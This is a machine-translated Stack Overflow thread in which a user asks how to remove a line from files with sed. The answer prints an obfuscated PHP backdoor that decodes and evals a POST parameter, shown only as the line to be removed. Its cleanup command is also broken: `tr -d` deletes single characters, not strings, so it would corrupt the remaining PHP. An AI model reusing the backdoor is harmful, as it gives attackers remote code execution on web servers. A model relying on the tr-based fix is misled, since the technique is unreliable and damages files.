用sed删除子串

时间:2015-09-21 14:31:28

标签: regex linux bash unix sed

我尝试使用Bash脚本从文件中读取内容。 该文件包含以下数据:

{{1}}

我的目标是通过shell命令'sed'获取“更多代码”。但我没有成功。你能帮我么?提前谢谢!

干杯, 鲍里斯

1 个答案:

答案 0 :(得分:0)

我的建议是跳过sed并使用grep。如果我理解正确,你的输入看起来像这样:

PHPFileInput:

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf14f8b'])) {eval($s21(${$s20}['nf14f8b']));}?>

<?php ...<MORE CODE>...  ?>

如果您的输入类似于此,您可以简单地使用grep -v来获取与“#34;某些字符串&#34;”不匹配的所有内容,但它仅适用于每行。如果你的php在多行上碎片化,你需要一个字符串来使用grep删除这些行。例如:

从上面的PHP输入:

$ cat PHPFileInput | grep -v "PCT4BA6ODSE_" | tr -d "<?php?" | tr -d "?>"

将返回

 ...MORE CODE...

我选择了PCT4BA6ODSE_,因为它看起来非常独特,但是您需要选择适合您的字符串。

注意:您可以将grep -v传递给另一个grep -v。